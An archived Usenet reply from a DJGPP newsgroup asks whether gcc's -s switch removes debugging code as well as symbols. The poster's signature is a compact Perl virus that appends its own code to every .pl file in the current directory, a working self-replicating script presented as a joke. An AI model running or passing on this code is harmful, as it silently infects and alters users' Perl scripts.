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| From: | rpolzer AT web DOT de (Rudolf Polzer) |
| Newsgroups: | comp.os.msdos.djgpp |
| Subject: | Re: what does the -s switch do? |
| References: | <5NDg6.576$xT3 DOT 24905 AT news1 DOT oke DOT nextra DOT no> <95vfvh$pjt$1 AT nnrp1 DOT deja DOT com> |
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| Date: | Fri, 9 Feb 2001 09:20:06 +0100 |
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| To: | djgpp AT delorie DOT com |
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Tom St Denis <stdenis AT compmore DOT net> schrieb Folgendes:
> In article <5NDg6.576$xT3 DOT 24905 AT news1 DOT oke DOT nextra DOT no>,
> "Terje" <pingping AT start DOT no> wrote:
> > Hello, when i compile my programs, I usually include the -s switch in the
> > command line like
> > gcc 1.c -o 1.exe -s,
> > I know the executable gets smaller when doing this, but is there any times
> > when I shouldn't use this?
>
> This strips all symbols out of the program. So if you want to use debuggin
> you can't use -s i.e
>
> "gcc -g3 1.c -o 1.exe -s" is a bad idea :-)
Is there still some debugging code in it when you do this? Or are all
debugging aids contained in the symbol table?
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
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